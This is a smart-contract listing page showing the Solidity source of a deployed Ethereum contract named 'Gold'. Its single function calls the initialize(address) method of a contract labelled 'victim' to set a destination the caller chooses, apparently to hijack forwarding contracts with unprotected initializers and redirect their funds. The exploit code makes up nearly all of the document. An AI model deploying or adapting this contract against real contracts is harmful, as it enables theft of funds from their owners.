Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Forward {
function destination() external view returns (address payable);
function initialize(address payable _destination) external;
}
contract Gold {
error InitializeFailed(address victim, address destination, bytes reason);
event ForwardingSetup(
address indexed victim,
address destination,
bool success
);
function setupForwarding(
address victim,
address payable destination
) external {
(bool success, bytes memory reason) = victim.call(
abi.encodeWithSignature("initialize(address)", destination)
);
emit ForwardingSetup(victim, destination, success);
if (!success) {
revert InitializeFailed(victim, destination, reason);
}
}
}
Submitted on: 2025-10-18 22:07:21
Comments
Log in to comment.
No comments yet.